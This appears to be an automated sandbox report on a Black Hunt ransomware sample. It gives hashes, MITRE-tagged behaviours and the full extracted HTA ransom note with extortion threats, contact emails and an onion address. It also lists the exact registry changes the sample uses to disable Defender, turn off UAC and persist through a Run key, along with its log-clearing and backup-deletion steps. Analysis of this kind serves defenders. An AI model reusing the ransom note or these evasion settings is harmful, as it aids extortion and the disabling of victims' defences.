c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:46

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General

Target

c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
Size

707KB
MD5

15e170c384462e8dd68e531132665063
SHA1

bd738c370c796775ca9e5216719e0e5454f1bc18
SHA256

c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed
SHA512

0a97dc8b74f5d4c2c13bf03a94649712b5e594f15ae667ac3e2cf49d61b70b503fe029e59eb1bc0b271cf0ea670f49cfb6543be9a5407b5762664c5dd1e799e6
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1D8svnh:6uaTmkZJ+naie5OTamgEoKxLWiyh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 4aESG7MUAs33W13T </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3788	fsutil.exe
3512	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2072	wevtutil.exe
2664	wevtutil.exe
1032	wevtutil.exe
3632	wevtutil.exe
2424	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3536	bcdedit.exe
3840	bcdedit.exe
3592	bcdedit.exe
3012	bcdedit.exe

Renames multiple (2875) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3820	wbadmin.exe
2956	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
1968	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\L:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\S:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\K:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\X:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\W:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\Y:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\I:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\P:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\M:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\B:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\O:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\G:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\V:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\N:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\U:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\J:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\Z:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\A:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\H:	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DebugPublish.snd	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_ja.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Vilnius	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationRight_SelectionSubpicture.png	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-actions_ja.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Curacao	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Windhoek	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-swing-tabcontrol.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kaa.txt	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\TravelIntroToMain.wmv	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt_3.103.1.v20140903-1938.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\org-openide-filesystems.jar	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\win32_CopyNoDrop32x32.gif	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ckb\#BlackHunt_Private.key	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\Ushuaia	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\Back-48.png	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\js\jquery.jstree.js	c0b95e905cc2f8ba842ef1542c71649e41b34bdb8b2661c4d507303bfdb731ed.exe
